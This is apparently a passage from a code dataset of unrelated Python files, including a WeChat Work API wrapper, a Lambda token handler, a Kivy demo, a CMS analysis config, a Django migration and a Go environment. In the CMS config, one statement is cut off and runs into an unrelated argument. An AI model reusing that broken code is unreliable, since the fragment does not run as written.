\"allow_party\":[1,2,3], # 应用可见范围(部门)\n \"allow_user\":[\"zhansan\",\"lisi\"], # 应用可见范围(成员)\n \"allow_tag\":[1,2,3], # 应用可见范围(标签)\n \"extra_party\":[4,5,6], # 额外通讯录(部门)\n \"extra_user\":[\"wangwu\"], # 额外通讯录(成员)\n \"extra_tag\":[4,5,6] # 额外通讯录(标签)\n }\n },\n {\n \"agentid\":2,\n \"name\":\"NAME2\",\n \"round_logo_url\":\"xxxxxx\",\n \"square_logo_url\":\"yyyyyy\",\n \"appid\":5\n }\n ]\n }\n }\n \"\"\"\n url = 'https://qyapi.weixin.qq.com/cgi-bin/service/get_auth_info?suite_access_token={}'.format(\n self.access_token\n )\n return requests.post(url, json={\n 'auth_corpid': corp_id,\n 'permanent_code': permanent_code,\n }).json()\n\n def install_app_required(self, test=False):\n def wrapper(func):\n def get_corp_info(request, *args, **kwargs):\n helper = self.settings.HELPER(request)\n auth_code = helper.get_params().get('auth_code', '')\n if auth_code:\n request.corp_info = self.get_corp_access_token_and_info(auth_code)\n return func(request, *args, **kwargs)\n pre_auth_code = self.set_session_info(self.pre_auth_code, test)\n path = helper.get_current_path()\n return helper.redirect(self.get_install_url(path, pre_auth_code))\n return get_corp_info\n return wrapper\n\n\nclass WorkProviderWechatApi(BaseWechatAPI):\n \"\"\"服务商api\"\"\"\n def __init__(self, settings, wechat_api):\n self.wechat_api = wechat_api\n self.settings = settings\n self._global_access_token = {'name': ('provider_access_token', 'provider_expires_time')}\n\n def get_login_url(self, login_path):\n \"\"\"扫码登录\"\"\"\n app_id = self.settings.CROP_ID\n register_url = self.settings.REGISTER_URL\n url = 'https://open.work.weixin.qq.com/wwopen/sso/3rd_qrConnect?' \\\n 'appid={app_id}&redirect_uri={register_url}{login_path}&usertype=member'\n return url.format(\n app_id=app_id,\n register_url=register_url,\n login_path=login_path\n )\n\n def _get_access_token(self):\n url = 'https://qyapi.weixin.qq.com/cgi-bin/service/get_provider_token'\n data = requests.post(url, json={\n 'corpid': self.settings.CROP_ID,\n 'provider_secret': self.settings.PROVIDER_SECRET\n }).json()\n return data['provider_access_token'], data['expires_in']\n\n def get_user_info(self, code):\n url = 'https://qyapi.weixin.qq.com/cgi-bin/service/get_login_info?access_token={}'.format(self.access_token)\n data = requests.post(url, json={\n 'auth_code': code,\n }).json()\n return WechatUser(data)\n\n def login_required(self, func):\n \"\"\"第三方应用二维码回调登录\"\"\"\n def get_wx_user(request, *args, **kwargs):\n helper = self.settings.HELPER(request)\n code = helper.get_params().get('auth_code', '')\n if code:\n work_wx_user = self.get_user_info(code)\n request.work_wx_user = work_wx_user\n return func(request, *args, **kwargs)\n path = helper.get_current_path()\n return helper.redirect(self.get_login_url(path))\n return get_wx_user\n","sub_path":"wework/wechat.py","file_name":"wechat.py","file_ext":"py","file_size_in_byte":16703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"378757091","text":"import json\n\nimport structlog\n\nfrom utils import bad_request, NotLoggedIn, BadRequest, \\\n InternalServerError, internal_server_error, get_refresh_token, get_domains, \\\n access_token_from_refresh_token\n\nstructlog.configure(processors=[structlog.processors.JSONRenderer()])\n\n\ndef handler(event, context) -> dict:\n del context # unused\n\n try:\n refresh_token = get_refresh_token(event)\n except NotLoggedIn:\n return {\n 'statusCode': 401,\n 'body': \"Not logged in\",\n }\n except BadRequest as e:\n return bad_request('', e)\n except InternalServerError as e:\n return internal_server_error('', e)\n\n if 'domains' in refresh_token: # delegated token with domain restrictions\n domains = refresh_token['domains']\n else:\n domains = get_domains()\n\n access_tokens = {}\n try:\n for domain in domains:\n access_tokens[domain] = access_token_from_refresh_token(\n refresh_token,\n domain,\n )\n except BadRequest as e:\n return bad_request('', e)\n\n return {\n 'statusCode': 200,\n 'headers': {\n 'Content-Type': 'application/json',\n },\n 'body': json.dumps(access_tokens),\n }\n","sub_path":"src/batch_authorize.py","file_name":"batch_authorize.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"50939731","text":"import kivy\n\nfrom kivy.app import App\nfrom kivy.uix.widget import Widget\nfrom kivy.graphics import Color, Rectangle, Point, GraphicException\nfrom math import sqrt\n\n\ndef calculate_points(x1, y1, x2, y2):\n dx = x2 - x1\n dy = y2 - y1\n dist = sqrt(dx * dx + dy * dy)\n o = []\n for i in range(1, int(dist)):\n mi = i / dist\n lastx = x1 + dx * mi\n lasty = y1 + dy * mi\n o.extend([lastx, lasty])\n return o\n\n\nclass Touchtracer(Widget):\n\n def on_touch_down(self, touch):\n ud = touch.ud\n ud['group'] = g = str(touch.uid)\n\n with self.canvas:\n ud['lines'] = [Point(points=(touch.x, touch.y), group=g)]\n\n print(touch)\n touch.grab(self)\n print(touch.grab_current)\n print(touch)\n\n def on_touch_move(self, touch):\n ud = touch.ud\n\n index = -1\n\n while True:\n try:\n points = ud['lines'][index].points\n oldx, oldy = points[-2], points[-1]\n break\n except:\n index -= 1\n\n points = calculate_points(oldx, oldy, touch.x, touch.y)\n\n if points:\n try:\n lp = ud['lines'][-1].add_point\n for idx in range(0, len(points), 2):\n lp(points[idx], points[idx + 1])\n except GraphicException:\n pass\n print(\"grab_current\", touch.grab_current)\n\n def on_touch_up(self, touch):\n print(\"grab_current\", touch.grab_current)\n if touch.grab_current is self:\n touch.ungrab(self)\n ud = touch.ud\n self.canvas.remove_group(ud['group'])\n\n\nclass TouchtracerApp(App):\n\n def build(self):\n return Touchtracer()\n\n def on_pause(self):\n return True\n\n\nif __name__ == '__main__':\n TouchtracerApp().run()\n","sub_path":"python/kivy/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"199472017","text":"import FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process( \"TEST\" )\nprocess.options = cms.untracked.PSet(wantSummary = cms.untracked.bool(True))\n\nprocess.load(\"FWCore.MessageLogger.MessageLogger_cfi\")\nprocess.MessageLogger.cerr.FwkReport.reportEvery = 1000\n\nprocess.load(\"Configuration.StandardSequences.FrontierConditions_GlobalTag_cff\")\nprocess.GlobalTag.globaltag = '76X_mcRun2_asymptotic_RunIIFall15DR76_v1'\n\nimport sys\nSAMPLE = str(sys.argv[2])\n\nprocess.load(\"ExoDiBosonResonances.EDBRCommon.goodJets_cff\")\nprocess.load(\"ExoDiBosonResonances.EDBRCommon.hltFilter_cff\")\nprocess.load(\"ExoDiBosonResonances.EDBRCommon.leptonicZ_cff\")\nprocess.load(\"ExoDiBosonResonances.EDBRCommon.hadronicZ_cff\")\nprocess.load(\"ExoDiBosonResonances.EDBRGenStudies.selectLeptonicDecay\")\nprocess.load(\"ExoDiBosonResonances.EDBRGenStudies.selectHadronicDecay\")\nprocess.load(\"ExoDiBosonResonances.EDBRCommon.simulation.Fall15MiniAOD76X.\"+SAMPLE)\nprocess.load(\"ExoDiBosonResonances.EDBRLeptons.goodLeptonsProducer_cff\")\n\nprocess.maxEvents.input = -1 \n\nconfigXsecs = { \"BulkGravToZZToZlepZhad_M-600\" : 1.0,\n \"BulkGravToZZToZlepZhad_M-800\" : 1.0,\n \"BulkGravToZZToZlepZhad_M-1000\" : 1.0,\n \"BulkGravToZZToZlepZhad_M-1200\" : 1.0,\n \"BulkGravToZZToZlepZhad_M-1400\" : 1.0,\n \"BulkGravToZZToZlepZhad_M-1600\" : 1.0,\n \"BulkGravToZZToZlepZhad_M-1800\" : 1.0,\n \"BulkGravToZZToZlepZhad_M-2000\" : 1.0,\n \"BulkGravToZZToZlepZhad_M-2500\" : 1.0,\n \"BulkGravToZZToZlepZhad_M-3000\" : 1.0,\n \"BulkGravToZZToZlepZhad_M-3500\" : 1.0,\n \"BulkGravToZZToZlepZhad_M-4000\" : 1.0,\n \"BulkGravToZZToZlepZhad_M-4500\" : 1.0,\n }\n\nconfigNevents = {\"BulkGravToZZToZlepZhad_M-600\" : 50000,\n \"BulkGravToZZToZlepZhad_M-800\" : 50000,\n \"BulkGravToZZToZlepZhad_M-1000\" : 50000,\n \"BulkGravToZZToZlepZhad_M-1200\" : 50000,\n \"BulkGravToZZToZlepZhad_M-1400\" : 49200,\n \"BulkGravToZZToZlepZhad_M-1600\" : 50000,\n \"BulkGravToZZToZlepZhad_M-1800\" : 50000,\n \"BulkGravToZZToZlepZhad_M-2000\" : 48400,\n \"BulkGravToZZToZlepZhad_M-2500\" : 50000,\n \"BulkGravToZZToZlepZhad_M-3000\" : 50000,\n \"BulkGravToZZToZlepZhad_M-3500\" : 50000,\n \"BulkGravToZZToZlepZhad_M-4000\" : 50000,\n \"BulkGravToZZToZlepZhad_M-4500\" : 50000,\n }\n\nusedXsec = configXsecs[SAMPLE]\nusedNevents = configNevents[SAMPLE]\n\nTRIGGER = str(sys.argv[3])\ntriggerPath = {\n \"el\" : \"HLT_Ele105_CaloIdVT_GsfTrkIdT_v*\",\n \"mu\" : \"HLT_Mu45_eta2p1_v*\",\n }\nusedHLT = triggerPath[TRIGGER]\n\nprocess.hltFilter.triggerConditions = ( usedHLT, )\n\nprocess.hadronicDecay.cut = cms.string(\"22600.\"),\n roles = cms.vstring('leptonicV', 'hadronicV') )\n\nprocess.gravitonFilter = cms.EDFilter( \"CandViewCountFilter\",\n src = cms.InputTag(\"graviton\"),\n minNumber = cms.uint32(1),\n filter = cms.bool(True) )\n\nprocess.treeDumper = cms.EDAnalyzer( \"EDBRTreeMaker\",\n isGen = cms.bool ( False ),\n isData = cms.bool ( False ),\n originalNEvents = cms.int32 ( 1 ),\n crossSectionPb = cms.double ( 1. ),\n targetLumiInvPb = cms.double ( 1. ),\n EDBRChannel = cms.string ( \"VZ_CHANNEL\" ),\n puWeights = cms.FileInPath( \"ExoDiBosonResonances/EDBRTreeMaker/data/pileupWeights69mb.root\"),\n egammaSFs = cms.FileInPath( \"ExoDiBosonResonances/EDBRTreeMaker/data/CutBasedID_LooseWP_76X_18Feb.txt_SF2D.root\"),\n muonSFs = cms.FileInPath( \"ExoDiBosonResonances/EDBRTreeMaker/data/MuonHighPt_Z_RunCD_Reco74X_Dec17.root\"),\n elrecoSFs = cms.FileInPath( \"ExoDiBosonResonances/EDBRTreeMaker/data/eleRECO_SF2D.root\"),\n eltriggerSFs = cms.FileInPath( \"ExoDiBosonResonances/EDBRTreeMaker/data/HLT_Ele105_scalefactors76X.root\"),\n mutriggerSFs = cms.FileInPath( \"ExoDiBosonResonances/EDBRTreeMaker/data/SingleMuonTrigger_Z_RunCD_Reco76X_Feb15.root\"),\n vertex = cms.InputTag ( \"goodOfflinePrimaryVertex\" ))\n\nprocess.analysis = cms.Path( process.leptonicDecay + \n process.hadronicDecay + \n process.hltSequence +\n process.goodLeptonsProducer + \n process.leptonicVSequence +\n process.bestLeptonicV +\n process.fatJetsSequence +\n process.hadronicVSequence +\n process.bestHadronicV +\n process.graviton +\n process.gravitonFilter )\n\nprocess.analysis.replace( process.goodOfflinePrimaryVertex,\n process.goodOfflinePrimaryVertex +\n process.egmGsfElectronIDs )\n\nprocess.load(\"ExoDiBosonResonances.EDBRCommon.trigReportData_cff\")\nprocess.endpath = cms.EndPath( process.treeDumper + process.trigReportData )\n\nprocess.TFileService = cms.Service(\"TFileService\",\n fileName = cms.string(\"treeEDBR_\"+SAMPLE+\"_\"+TRIGGER+\".root\")\n )\n\nprocess.triggersel = cms.Path( process.hltFilter )\n","sub_path":"EDBRTreeMaker/signals/analysis-BulkGrav.py","file_name":"analysis-BulkGrav.py","file_ext":"py","file_size_in_byte":9333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"115936049","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/ali/ownCloud/Project/python/django-aparnik-framework-project/testandbuildprojectframework/aparnik/contrib/settings/migrations/0004_auto_20181130_1658.py\n# Compiled at: 2020-01-05 09:49:45\n# Size of source mod 2**32: 6092 bytes\nfrom django.db import migrations\n\ndef add_keys(apps, schema_editor):\n \"\"\"\n We can't import the Post model directly as it may be a newer\n version than this migration expects. We use the historical version.\n \"\"\"\n Setting = apps.get_model('settings', 'Setting')\n key = ''\n try:\n key = 'LOGO_PROJECT_ICON'\n Setting.objects.get(key=key)\n except Exception:\n Setting.objects.create(title='لوگو',\n key=key,\n value='https://cdn.aparnik.com/static/website/img/logo-persian.png',\n value_type='s',\n is_show=True,\n is_variable_in_home=True)\n\n try:\n key = 'SERVER_NAME'\n Setting.objects.get(key=key)\n except Exception:\n Setting.objects.create(title='آدرس سایت',\n key=key,\n value='api.aparnik.com',\n value_type='s',\n is_show=False,\n is_variable_in_home=False)\n\n try:\n key = 'SERVER_PORT'\n Setting.objects.get(key=key)\n except Exception:\n Setting.objects.create(title='پورت سایت',\n key=key,\n value='80',\n value_type='s',\n is_show=False,\n is_variable_in_home=False)\n\n try:\n key = 'PRODUCT_WALLET_ID'\n Setting.objects.get(key=key)\n except Exception:\n Product = apps.get_model('products', 'Product')\n ContentType = apps.get_model('contenttypes', 'ContentType')\n product = Product.objects.create(price_fabric=1, title='شارژ کیف پول')\n new_ct = ContentType.objects.get_for_model(Product)\n Product.objects.filter(polymorphic_ctype__isnull=True).update(polymorphic_ctype=new_ct)\n Setting.objects.create(title='شارژ کیف پول',\n key=key,\n value=(str(product.id)),\n value_type='i',\n is_show=False,\n is_variable_in_home=False)\n\n try:\n key = 'COURSE_LEVEL'\n Setting.objects.get(key=key)\n except Exception:\n Setting.objects.create(title='سطح دوره',\n key=key,\n value='2',\n value_type='i',\n is_show=False,\n is_variable_in_home=False)\n\n try:\n key = 'INVITER_GIFT_CREDITS_PER_PURCHASE'\n Setting.objects.get(key=key)\n except Exception:\n Setting.objects.create(title='درصد اعتبار هدیه برای دعوت کننده به ازای هر خرید',\n key=key,\n value='0',\n value_type='i',\n is_show=False,\n is_variable_in_home=False)\n\n try:\n key = 'INVITER_GIFT_CREDITS'\n Setting.objects.get(key=key)\n except Exception:\n Setting.objects.create(title='اعتبار هدیه برای دعوت کننده در بدو قبول دعوت تومان',\n key=key,\n value='0',\n value_type='i',\n is_show=False,\n is_variable_in_home=False)\n\n try:\n key = 'INVITED_GIFT_CREDITS'\n Setting.objects.get(key=key)\n except Exception:\n Setting.objects.create(title='اعتبار هدیه برای دعوت شونده در بدو قبول دعوت تومان',\n key=key,\n value='0',\n value_type='i',\n is_show=False,\n is_variable_in_home=False)\n\n try:\n key = 'PRICE_FORMAT'\n Setting.objects.get(key=key)\n except Exception:\n Setting.objects.create(title='اعتبار هدیه برای دعوت کننده در بدو قبول دعوت تومان',\n key=key,\n value='%ic=t:%se=,:%cu=t:%gr=3:%tr=True:%abbr=True',\n value_type='s',\n is_show=False,\n is_variable_in_home=False)\n\n try:\n key = 'PRICE_PRODUCT_FREE_DESCRIPTION'\n Setting.objects.get(key=key)\n except Exception:\n Setting.objects.create(title='عنوان کالاهای رایگان',\n key=key,\n value='رایگان',\n value_type='s',\n is_show=False,\n is_variable_in_home=False)\n\n try:\n key = 'PRICE_PRODUCT_SHARING_DESCRIPTION'\n Setting.objects.get(key=key)\n except Exception:\n Setting.objects.create(title='عنوان کالاهایی که دعوت شده اند',\n key=key,\n value='دعوت شده',\n value_type='s',\n is_show=False,\n is_variable_in_home=False)\n\n try:\n key = 'PRICE_PRODUCT_BUY_DESCRIPTION'\n Setting.objects.get(key=key)\n except Exception:\n Setting.objects.create(title='عنوان کالاهای خریداری شده',\n key=key,\n value='خریداری شده',\n value_type='s',\n is_show=False,\n is_variable_in_home=False)\n\n try:\n key = 'AWS_ACTIVE'\n Setting.objects.get(key=key)\n except Exception:\n Setting.objects.create(title='آمازون',\n key=key,\n value='AWS_ACTIVE',\n value_type='fr',\n is_show=False,\n is_variable_in_home=True)\n\n try:\n key = 'USER_LOGIN_WITH_PASSWORD'\n Setting.objects.get(key=key)\n except Exception:\n Setting.objects.create(title='ورود با رمز عبور',\n key=key,\n value='USER_LOGIN_WITH_PASSWORD',\n value_type='fr',\n is_show=False,\n is_variable_in_home=True)\n\n\nclass Migration(migrations.Migration):\n dependencies = [\n ('settings', '0003_auto_20181125_1109')]\n operations = [\n migrations.RunPython(add_keys, reverse_code=(migrations.RunPython.noop))]","sub_path":"pycfiles/django-apar-1.1.6.43.tar/0004_auto_20181130_1658.cpython-37.py","file_name":"0004_auto_20181130_1658.cpython-37.py","file_ext":"py","file_size_in_byte":5925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"270714294","text":"import pachi_py\nfrom copy import deepcopy\nimport numpy as np\nimport sys\nimport six\n# from const import HISTORY, GOBAN_SIZE\nHISTORY = 16\n\ndef _pass_action(board_size):\n return board_size ** 2\n\n\ndef _resign_action(board_size):\n return board_size ** 2 + 1\n\n\ndef _coord_to_action(board, c):\n \"\"\" Converts Pachi coordinates to actions \"\"\"\n\n if c == pachi_py.PASS_COORD:\n return _pass_action(board.size)\n if c == pachi_py.RESIGN_COORD:\n return _resign_action(board.size)\n\n i, j = board.coord_to_ij(c)\n return i*board.size + j\n\n\ndef _action_to_coord(board, a):\n \"\"\" Converts actions to Pachi coordinates \"\"\"\n\n if a == _pass_action(board.size):\n return pachi_py.PASS_COORD\n if a == _resign_action(board.size):\n return pachi_py.RESIGN_COORD\n\n return board.ij_to_coord(a // board.size, a % board.size)\n\n\ndef _format_state(history, player_color, board_size):\n \"\"\" \n Format the encoded board into the state that is the input\n of the feature model, defined in the AlphaGo Zero paper \n BLACK = 1\n WHITE = 2\n \"\"\"\n# print(history.shape)\n to_play = np.full((1, board_size, board_size), player_color - 1)\n final_state = np.concatenate((history, to_play), axis=0)\n return final_state.astype(int)[:,:,:]\n \n\n\nclass GoEnv():\n\n def __init__(self, player_color, board_size):\n self.board_size = board_size\n self.history = np.zeros((HISTORY, board_size, board_size))\n self.steps = [-1,-2]\n\n colormap = {\n 'black': pachi_py.BLACK,\n 'white': pachi_py.WHITE,\n }\n self.player_color = colormap[player_color]\n\n self.komi = self._get_komi(board_size)\n self.state = _format_state(self.history,\n self.player_color, self.board_size)\n self.done = True\n\n\n def _get_komi(self, board_size):\n \"\"\" Initialize a komi depending on the size of the board \"\"\"\n\n if 14 <= board_size <= 19:\n return 7.5\n elif 9 <= board_size <= 13:\n return 7.5\n return 0\n \n\n def get_legal_moves(self, avoid_dumb_passes=True):\n \"\"\" Get all the legal moves and transform their coords into 1d \"\"\"\n\n legal_moves = self.board.get_legal_coords(self.player_color, filter_suicides=True)\n final_moves = np.zeros(self.board_size ** 2 + 1,dtype = int)\n\n for pachi_move in legal_moves:\n move = _coord_to_action(self.board, pachi_move)\n if not avoid_dumb_passes or move != self.board_size ** 2 or self.test_move(move):\n final_moves[move] = 1\n if(np.sum(final_moves)==0):\n final_moves[self.board_size**2] = 1 \n return final_moves\n\n\n def _act(self, action, history):\n \"\"\" Executes an action for the current player \"\"\"\n\n self.board = self.board.play(_action_to_coord(self.board, action), self.player_color)\n self.steps.append(action)\n board = self.board.encode()\n color = self.player_color - 1\n a = int(HISTORY/2-1)\n for i in range(a):\n self.history[(a-i)*2+color] = self.history[(a-1-i)*2+color] \n# self.history = np.roll(history, 1, axis=0)\n self.history[color] = np.array(board[color])\n self.player_color = pachi_py.stone_other(self.player_color)\n\n\n def test_move(self, action):\n \"\"\"\n Test if a specific valid action should be played,\n depending on the current score. This is used to stop\n the agent from passing if it makes him loose\n \"\"\"\n\n # board_clone = self.board.clone()\n current_score = self.board.fast_score + self.komi\n\n # board_clone = board_clone.play(_action_to_coord(board_clone, action), self.player_color)\n # new_score = board_clone.fast_score + self.komi\n\n if self.player_color == 1 and current_score > 0 or self.player_color == 2 and current_score < 0:\n return False\n return True\n\n def give_Board_Copy(self):\n return self.board.clone()\n \n def player_turn(self):\n return 3-2*self.player_color\n \n def curr_score(self):\n return self.board.fast_score + self.komi\n \n def get_history(self):\n return _format_state(self.history, self.player_color, self.board_size)\n \n def isComplete(self):\n return (self.board.is_terminal or (self.steps[-1]==self.steps[-2] and self.steps[-1] == self.board_size**2))\n \n def stepsTaken(self):\n return self.steps[2:]\n \n def give_Board(self):\n board = self.board.encode()\n act_board = np.zeros(self.board_size**2,dtype = int).reshape(self.board_size,self.board_size)\n act_board[board[0]!=0] = 1\n act_board[board[1]!=0] = -1\n return act_board\n\n def hash_state(self):\n \"\"\"\n Unrolled list version of board\n \"\"\"\n return ' '.join( [str(e) for e in self.give_Board().flatten()] ), self.player_turn()\n\n def print_board(self):\n \"\"\"\n Print the board\n X for Black, O for White, . for empty\n \"\"\"\n board = self.give_Board()\n for row in board:\n for col in row:\n char = 'X' if col == 1 else ('O' if col == -1 else '.')\n print (char, end=' ')\n print()\n\n def get_empty(self):\n \"\"\"\n Returns number of empty positions in the board\n \"\"\"\n board = self.give_Board()\n return np.sum(board == 0)\n\n def reset(self):\n \"\"\" Reset the board \"\"\"\n\n self.board = pachi_py.CreateBoard(self.board_size)\n opponent_resigned = False\n self.done = self.board.is_terminal or opponent_resigned\n return _format_state(self.history, self.player_color, self.board_size)\n\n\n def render(self):\n \"\"\" Print the board for human reading \"\"\"\n\n outfile = sys.stdout\n outfile.write('To play: {}\\n{}\\n'.format(six.u(\n pachi_py.color_to_str(self.player_color)),\n self.board.__repr__().decode()))\n return outfile\n\n\n def get_winner(self):\n \"\"\" Get the winner, using the Tromp Taylor scoring + the komi \"\"\"\n\n score = self.board.fast_score + self.komi\n white_wins = score > 0\n black_wins = score < 0\n if(white_wins):\n reward = 1\n elif(black_wins):\n reward = -1\n else:\n reward = 0\n return reward\n \n\n def step(self, action):\n \"\"\" Perfoms an action and choose the winner if the 2 player\n have passed \"\"\"\n if(self.done==False):\n if not self.done:\n try:\n self._act(action, self.history)\n except pachi_py.IllegalMove:\n # print(\"alalalalala\")\n# self._act(self.board_size**2,self.history)\n six.reraise(*sys.exc_info())\n\n # Reward: if nonterminal, then the reward is -1\n if not self.board.is_terminal:\n if(self.steps[-1] == self.steps[-2] and self.steps[-1] == self.board_size**2):\n return _format_state(self.history, self.player_color, self.board_size), self.get_winner(), True\n else: \n return _format_state(self.history, self.player_color, self.board_size), 0, False\n\n assert self.board.is_terminal\n self.done = True\n reward = self.get_winner()\n return _format_state(self.history, self.player_color, self.board_size), reward, True\n else:\n raise ValueError(\"Game has ended\")\n\n\n def __deepcopy__(self, memo):\n \"\"\" Used to overwrite the deepcopy implicit method since\n the board cannot be deepcopied \"\"\"\n\n cls = self.__class__\n result = cls.__new__(cls)\n memo[id(self)] = result\n for k, v in self.__dict__.items():\n if k == \"board\":\n setattr(result, k, self.board.clone())\n else:\n setattr(result, k, deepcopy(v, memo))\n return result\n \ndef create_env_copy (Env):\n newEnv = GoEnv('black',Env.board_size)\n newEnv.reset()\n newEnv.history = deepcopy(Env.history)\n newEnv.player_color = deepcopy(Env.player_color)\n newEnv.steps = deepcopy(Env.steps)\n newEnv.state = _format_state(newEnv.history,newEnv.player_color, newEnv.board_size)\n newEnv.board = Env.give_Board_Copy()\n newEnv.done = deepcopy(Env.done)\n return newEnv","sub_path":"old_utils/utils_nov8/goenv.py","file_name":"goenv.py","file_ext":"py","file_size_in_byte":8465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"256002836","text":"from asyncio import events\nimport argparse\n\nimport pyglet\nfrom pyglet.window import key\n\nfrom helpers import TERRITORY_CACHE\nfrom clients import KeyboardClient, SimplePythonClient, FileClient\nfrom constants import LR_CLIENTS_MAX_COUNT, MAX_TICK_COUNT\nfrom game_objects.scene import Scene\nfrom game_objects.game import LocalGame\n\n\nscene = Scene()\nloop = events.new_event_loop()\nevents.set_event_loop(loop)\n\nparser = argparse.ArgumentParser(description='LocalRunner for paperio')\n\nfor i in range(1, LR_CLIENTS_MAX_COUNT + 1):\n parser.add_argument('-p{}'.format(i), '--player{}'.format(i), type=str, nargs='?',\n help='Path to executable with strategy for player {}'.format(i))\n parser.add_argument('--p{}l'.format(i), type=str, nargs='?', help='Path to log for player {}'.format(i))\n\nparser.add_argument('-t', '--timeout', type=str, nargs='?', help='off/on timeout', default='on')\n\nargs = parser.parse_args()\n\nclients = []\nfor i in range(1, LR_CLIENTS_MAX_COUNT + 1):\n arg = getattr(args, 'player{}'.format(i))\n if arg:\n if arg == 'keyboard':\n client = KeyboardClient(scene.window)\n elif arg == 'simple_bot':\n client = SimplePythonClient()\n else:\n client = FileClient(arg.split(), getattr(args, 'p{}l'.format(i)))\n\n clients.append(client)\n\nif len(clients) == 0:\n clients.append(KeyboardClient(scene.window))\n\n\nclass Runner:\n @staticmethod\n def game_loop_wrapper(dt):\n is_game_over = loop.run_until_complete(Runner.game.game_loop())\n if is_game_over or (args.timeout == 'on' and Runner.game.tick >= MAX_TICK_COUNT):\n loop.run_until_complete(Runner.game.game_loop())\n Runner.game.send_game_end()\n Runner.game.game_save()\n Runner.stop_game()\n\n @staticmethod\n @scene.window.event\n def on_key_release(symbol, modifiers):\n if symbol == key.R:\n Runner.stop_game()\n TERRITORY_CACHE.clear()\n Runner.run_game()\n\n @staticmethod\n def stop_game():\n pyglet.clock.unschedule(Runner.game_loop_wrapper)\n\n @staticmethod\n def run_game():\n Runner.game = LocalGame(clients, scene, args.timeout == 'on')\n Runner.game.send_game_start()\n pyglet.clock.schedule_interval(Runner.game_loop_wrapper, 1 / 200)\n\n\nRunner.run_game()\npyglet.app.run()\n","sub_path":"localrunner.py","file_name":"localrunner.py","file_ext":"py","file_size_in_byte":2366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"413232163","text":"'''\nフィボナッチ数列をfor文による反復で求める\n'''\n\nf = [None]*50\nf[0], f[1] = 0, 1\n\nfor n in range(2, 50):\n f[n] = f[n-1] + f[n-2]\n print('{}項目:{}'.format(n, f[n]))","sub_path":"再帰関数/5_フィボナッチ(純粋for).py","file_name":"5_フィボナッチ(純粋for).py","file_ext":"py","file_size_in_byte":195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"566116857","text":"from openerp.osv import osv,fields\n\nclass hr_job(osv.osv):\n _inherit = 'hr.job'\n _columns = {\n\n 'jo_id' : fields.many2one('jo.jo', 'No Jo', readonly=True),\n 'project_id'\t\t\t\t: fields.related('jo_id','project_id',type='many2one',relation=\"project.project\",readonly=True,string='Project'),\n 'customer_erf'\t\t\t\t: fields.related('project_id','partner_id',type='many2one',relation=\"res.partner\",readonly=True,string='Customer'),\n\n 'description_jo' : fields.related('jo_id', 'jo_description', relation=\"jo.jo\", type='text', string='Job Description'),\n 'requirement_jo' : fields.related('jo_id', 'jo_requirement', relation=\"jo.jo\", type='text', string='Requirement'),\n 'contract_start' : fields.related('jo_id', 'start_contract', relation=\"jo.jo\", type='date', readonly=True, store=False, string='Start Contract', help=\"Date of employee need to be hired\"),\n 'erf_date' \t: fields.date('Erf Date'),\n 'date_submit' : fields.related('jo_id', 'submit_date', relation=\"jo.jo\", type='date', readonly=True, store=False, string='Submit Date', help=\"Date of Applicant Submitted to Client\"),\n 'replacement_id' : fields.related('jo_id','replacement_id',type='many2one',relation=\"hr.employee\",readonly=True,string='Replacement Name'),\n\n # 'start_recruit' : fields.related('project_id', 'start_rec', relation=\"project.job_position\", type=\"date\", readonly=True, string=\"Start Date Recruitment\"),\n # 'end_recruit' : fields.related('project_id', 'end_rec', relation=\"project.job_position\", type=\"date\", readonly=True, string=\"End Date Recruitment\"),\n }\n\n # _defaults = {\n # 'start_recruit': fields.date.context_today,\n # 'end_recruit': fields.date.context_today,\n # }\n","sub_path":"rek/erf.py","file_name":"erf.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"142236202","text":"#!/usr/lib/env python\n#-*-coding:UTF-8-*-\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\n \ndef hello(request):\n context = {}\n context['hello']='hello world'\n res = render(request,'hello.html',context)\n print(\"res:%s\"%res)\n return res","sub_path":"my_django/my_django/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"247673885","text":"amount_input=int(input(\"Amount of Inputs:\"))\n\ndef bubble(lis):\n for i in range(len(lis)):\n current=0\n nex=1\n while nex != len(lis):\n if len(lis[current])lis[nex]:\n lis[current],lis[nex]=lis[nex],lis[current]\n current,nex=nex,nex+1\n else:\n current,nex=nex,nex+1\n\ndef acronym(amount_input):\n temp_list=list()\n for _ in range(amount_input):\n temp_str=\"\"\n names=input(\"Input:\")\n split_names=names.split(\" \")\n for i in split_names:\n if i[0].isupper():\n temp_str+=i[0]\n temp_list.append(temp_str)\n return temp_list\n\n\ntotal_acronym=acronym(amount_input)\nbubble(total_acronym)\nfor i in range(len(total_acronym)):\n print(total_acronym[i])\n","sub_path":"Sorting Acronym.py","file_name":"Sorting Acronym.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"388012713","text":"def _MM_TO_MIN(mm):\n mm = float(mm)\n hm = str(int(round(mm, 2) * 100 % 100))\n hm = \"0\" + hm if len(hm) == 1 else hm\n m, s = divmod(int(float(mm)), 60)\n h, m = divmod(m, 60)\n return \"%s:%s.%s\" % (str(m), str(s), str(hm))\n\n\ndef 